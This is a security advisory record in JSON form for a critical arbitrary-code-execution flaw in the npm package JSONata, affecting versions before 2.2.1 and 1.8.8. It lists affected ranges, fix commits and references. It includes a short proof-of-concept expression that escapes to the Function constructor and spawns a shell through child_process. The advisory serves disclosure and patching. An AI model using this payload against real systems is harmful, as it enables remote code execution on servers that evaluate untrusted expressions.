{"id":"GHSA-2943-5xfg-gq5f","revision":"39fe36777c334da380149aec5741d52b","records":[{"revision":"39fe36777c334da380149aec5741d52b","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-2943-5xfg-gq5f","aliases":["CVE-2026-77414"],"title":"JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions","description":"Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with\ncrafted expressions, due to a bypassable `hasOwnProperty` check in\n`environment.lookup`\nhttps://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871\n\nThis was fixed in https://github.com/jsonata-js/jsonata/pull/799\n(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)\nwhich is included in the `2.2.1` release, and then back-ported to the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n     $hasOwnProperty := $spread($string);\n     $__proto__ := $constructor;\n     $constructor(\"return\nprocess.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})\")();\n)`);\n\nawait expression.evaluate({});\n```","state":0,"publishedAt":"2026-08-21T20:58:01+00:00","modifiedAt":"2026-08-21T21:10:59.416749+00:00","affected":[{"ecosystem":"npm","name":"jsonata","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.0.0"},{"kind":"fixed","version":"2.2.1"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"jsonata","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.8.8"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/jsonata-js/jsonata/security/advisories/GHSA-2943-5xfg-gq5f","https://github.com/jsonata-js/jsonata/pull/799","https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2","https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de","https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159","https://github.com/jsonata-js/jsonata","https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8","https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1"],"sourceUrl":"https://github.com/advisories/GHSA-2943-5xfg-gq5f","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-2943-5xfg-gq5f","identifiers":["GHSA-2943-5xfg-gq5f","CVE-2026-77414"]},"retained":false,"historicalAffected":[]}],"coverage":[]}